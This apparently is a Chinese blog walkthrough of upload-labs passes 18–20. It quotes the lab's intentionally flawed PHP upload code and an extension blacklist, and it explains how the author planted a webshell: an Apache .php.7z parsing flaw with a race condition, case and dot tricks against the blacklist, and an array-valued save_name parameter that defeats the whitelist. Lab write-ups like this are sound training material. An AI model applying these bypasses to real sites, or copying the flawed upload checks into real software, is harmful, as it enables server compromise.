能够成功上传的后缀名:

1).jPG

2).Gif

没有限制必须是小写的后缀名。

不能成功上传的后缀名:

1).Php

2).Htaccess

3).php空格

4).php.

5).php. .

6).php::$DATA

分析:可能是后缀名白名单,没有限制合法文件名(jpg gif png)必须为小写。

图片木马能够上传,但是没有文件包含漏洞无法解析利用。

  • 提示
  • 代码审计
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
	var $cls_upload_dir = "";         // Directory to upload to.
	var $cls_filename = "";           // Name of the upload file.
	var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

代码详解

1. index.php 文件逻辑

index.php 是文件上传的主入口,负责处理用户提交的文件上传请求,并根据上传结果返回相应的消息。

  • 变量初始化
    • $is_upload:用于标记文件是否上传成功,初始值为 false
    • $msg:用于存储上传过程中产生的消息,初始值为 null
  • 文件上传处理
    • 当用户提交表单($_POST['submit'] 被设置)时,代码会执行文件上传逻辑。
    • 首先,引入 myupload.php 文件,该文件中定义了 MyUpload 类,用于处理文件上传的具体逻辑。
    • 创建一个 MyUpload 类的实例 $u,并传入以下参数:
      • $_FILES['upload_file']['name']:上传文件的原始名称。
      • $_FILES['upload_file']['tmp_name']:上传文件的临时存储路径。
      • $_FILES['upload_file']['size']:上传文件的大小。
      • $imgFileName:使用当前时间戳生成的文件名,用于重命名文件。
    • 调用 $u->upload(UPLOAD_PATH) 方法,将文件上传到指定的目录 UPLOAD_PATH
  • 上传结果处理
    • upload 方法返回一个状态码,index.php 根据这个状态码来判断上传是否成功,并设置相应的消息。
    • 使用 switch 语句处理不同的状态码:
      • 状态码 1:上传成功,设置 $is_uploadtrue,并获取上传文件的路径。
      • 状态码 2:文件已上传,但未重命名。
      • 状态码 -1:文件无法上传到临时目录。
      • 状态码 -2:上传目录不可写。
      • 状态码 -3:文件类型不允许上传。
      • 状态码 -4:文件过大。
      • 状态码 -5:服务器已存在同名文件。
      • 状态码 -6:文件无法复制到目标目录。
      • 默认:未知错误。

2. myupload.php 文件逻辑

myupload.php 文件中定义了 MyUpload 类,该类封装了文件上传的具体逻辑。

  • 类属性
    • $cls_arr_ext_accepted:允许上传的文件扩展名列表,包括 .doc, .xls, .txt, .pdf, .gif, .jpg, .zip, .rar, .7z, .ppt, .html, .xml, .tiff, .jpeg, .png 等。
  • upload 方法
    • 该方法是文件上传的核心逻辑,负责调用其他方法来完成文件上传的各个步骤。
    • 步骤 1:调用 isUploadedFile() 方法,检查文件是否成功上传到临时目录。
    • 步骤 2:调用 setDir($dir) 方法,设置文件上传的目标目录,并检查目录是否可写。
    • 步骤 3:调用 checkExtension() 方法,检查文件扩展名是否在允许的列表中。
    • 步骤 4:调用 checkSize() 方法,检查文件大小是否符合要求。
    • 步骤 5:如果设置了检查文件是否存在的标志($cls_file_exists == 1),则调用 checkFileExists() 方法,检查目标目录中是否已存在同名文件。
    • 步骤 6:调用 move() 方法,将文件从临时目录移动到目标目录。
    • 步骤 7:如果设置了重命名文件的标志($cls_rename_file == 1),则调用 renameFile() 方法,对文件进行重命名。
    • 步骤 8:如果所有步骤都成功,返回 "SUCCESS",否则返回相应的错误码。
  • 其他方法
    • isUploadedFile():检查文件是否成功上传到临时目录。
    • setDir($dir):设置并检查上传目录。
    • checkExtension():检查文件扩展名是否合法。
    • checkSize():检查文件大小是否合法。
    • checkFileExists():检查目标目录中是否已存在同名文件。
    • move():将文件从临时目录移动到目标目录。
    • renameFile():重命名文件。
    • resultUpload($ret):根据上传结果返回相应的状态码。

总结

  • index.php 负责处理用户请求,调用 MyUpload 类进行文件上传,并根据上传结果返回相应的消息。
  • myupload.php 中的 MyUpload 类封装了文件上传的具体逻辑,包括文件类型检查、大小检查、目录检查、文件移动和重命名等操作。

通过这种结构化的设计,代码具有良好的可维护性和扩展性,能够有效地处理文件上传过程中的各种情况。

关卡源代码bug:

上传的文件没有放在upload目录下。

代码修改:myupload.php

  /** setDir()
   **
   ** Method to set the directory we will upload to. 
   ** It will return an error code if the dir is not writable.
   ** @para String name of directory we upload to
   ** @returns string
  **/
  function setDir( $dir ){
if( !is_writable( $dir ) ){
  return "DIRECTORY_FAILURE";
} else { 
  $this->cls_upload_dir = $dir;
  return 1;
}

修改:

$this->cls_upload_dir = $dir.'/';

路径修改成功。

分析: 这一关也类似存在条件竞争的漏洞。

18.3 apache解析漏洞+条件竞争

apache解析不了.7z的后缀名,把1.php.7z的文件解析为1.php,因此可通过.7z实现绕过,但在文件夹中生成后会自动重命名,因此需要进行条件竞争,在php文件生成的一瞬间访问它,触发执行,创建yjh.php。

1.抓包修改上传create_webshell.php

上传create_webshell.php(生成小马的文件),使用yakit将后缀名修改为7z。

2.并发上传

3.并发访问

能够成功在服务器将文件名改成数字串.7z之前访问create_webshell.php.7z,然后由于apache存在将.php.7z文件当作.php脚本解析的漏洞,触发恶意代码的执行,在服务器创建webshell。

18.4 getshell

截屏2025-01-31 22.40.43

成功在服务器创建一句话木马。

蚁剑getshell:

十九、Pass-19(限Linux-黑名单绕过)

19.1 题面

这一关题面有些许不同,有一个指定保存名称的字段。

19.2 解题

  • 上传yjh.php,指定保存为yjh.php

进制保存为.php文件。

  • 上传yjh.php,指定保存为yjh.jpg

能够成功上传图片木马。

  • 抓包

没有检测MIME类型,也没有检测文件内容。

多了个save_name字段,指定了要保存的文件夹。原始文件名不重要,save_name才是保存的文件名。

  • 探测检测类型

.htaccess文件上传失败。但是修改大小写可以上传成功。

.PhTml上传成功但访问失败。

php5后缀类似,更改大小写虽然能够上传成功,但是无法解析,小写的php5后缀压根无法上传。

phP也类似。

报错信息不是404,而是服务器错误。

  • 提示
  • 代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码解析:

  • $is_upload:用于标识文件是否成功上传,初始值为 false
  • $msg:用于存储上传过程中可能出现的错误信息,初始值为 null
  • 检查用户是否通过 POST 方法提交了表单(即用户点击了“提交”按钮)。
  • 检查上传目录 UPLOAD_PATH 是否存在。如果不存在,则跳转到 else 部分,提示用户手动创建该目录。
  • $deny_ext 是一个数组,包含了禁止上传的文件扩展名。这些扩展名通常与可执行脚本或配置文件相关,上传这些文件可能会导致安全漏洞。
  • $file_name:从表单中获取用户指定的文件名。
  • $file_ext:使用 pathinfo() 函数提取文件的扩展名。
  • 检查文件的扩展名是否在 $deny_ext 数组中。如果不在数组中,说明文件类型是允许的,继续处理上传;否则,设置错误信息 $msg 为“禁止保存为该类型文件!”。
  • $temp_file:获取上传文件的临时路径。
  • $img_path:指定文件上传后的保存路径。
  • move_uploaded_file():将临时文件移动到指定路径。如果移动成功,设置 $is_uploadtrue,表示上传成功;否则,设置错误信息 $msg 为“上传出错!”。

分析:$file_name 从表单中获取用户指定的文件名,$file_ext提取文件后缀,然后检查是否在黑名单,如果不在,拼接$file_name为文件名,所以核心思路就是绕过黑名单后缀名检测。通过之前的经验,可用大小写绕过,空格绕过和点号绕过等方法尝试绕过黑名单。

19.3 切换到linux环境

https://buuoj.cn/challenges#Upload-Labs-Linux 【buuoj】

  • 上传并保存为yjh.php,抓包
  • .PhTml ✅

能够成功访问并getshell

  • .phP5
  • .php. ✅
  • .php. . ✅

二十、Pass-20***(后缀名白名单检测-数组绕过)

20.1 题面

题面跟Pass-19类似。

20.2 解题

上传yjh.php,保存文件名yjh.php,抓包:

save_name改成.jpg

无法上传。

修改MIME类型,成功上传。

尝试常规的绕过方法:大小写、空格、. 、::$DATA、. . 等没有成功。

  • 提示
  • 代码审计
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

代码解析:

这段代码的主要功能是:

  1. 检查用户是否选择了文件。
  2. 检查上传文件的 MIME 类型是否合法。
  3. 检查文件扩展名是否合法。
  4. 将文件移动到指定目录,并返回上传结果。
  • 如果用户没有通过 $_POST['save_name'] 指定保存的文件名,则使用上传文件的原始名称($_FILES['upload_file']['name'])。
  • 将文件名转换为小写,并通过 explode('.') 将文件名按 . 分割成数组,方便后续提取扩展名。

补充知识:

explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

end() 是 PHP 中的一个内置函数,用于将数组的内部指针移动到数组的最后一个元素,并返回该元素的值。

reset(array) 函数,把数组的内部指针指向第一个元素,并返回这个元素的值

count(array) 函数,计算数组中的单元数目,或对象中的属性个数。

20.3 解题思路

检查MIME类型,但是没有检测文件内容。

如果save_name参数是一个数组,并且第一个元素的值是yjh.php,第二个元素的值是png|jpg|gif,那么下面的代码不会执行:

if (!is_array($file)) {
     $file = explode('.', strtolower($file));
}

$ext = end($file); 获取到的值就是png|jpg|gif,能够绕过后缀名的检测,执行到下面的位置:

$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
    $msg = "文件上传成功!";
    $is_upload = true;
} else {
    $msg = "文件上传失败!";
}

reset函数会返回数组的第一个元素的值,也就是yjh.php

如果$file[count($file) - 1]的值为空,那么就能达到上传 yjh.php.文件的目的。

如何让其为空?那就是让save_name数组中第 count($file) - 1处的元素为空即可($file数组也就是save_name数组)。

比如save_name[0]=yjh.php ,save_name[4]=png,那么 count($save_name) - 1 =1,但是save_name[1]为空。满足条件

20.4 解题过程

修改MIME类型

然后指定save_name数组的第一个元素为yjh.php,指定save_name数组的第二个元素为jpg

成功上传yjh.php.文件。

  • getshell

总结

漏洞类型总结:

漏洞类型

解题思路总结:

至此,upload-labs靶场完成通关,通过该靶场实践的过程进一步强化了对文件上传漏洞的原理和利用思路的掌握。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录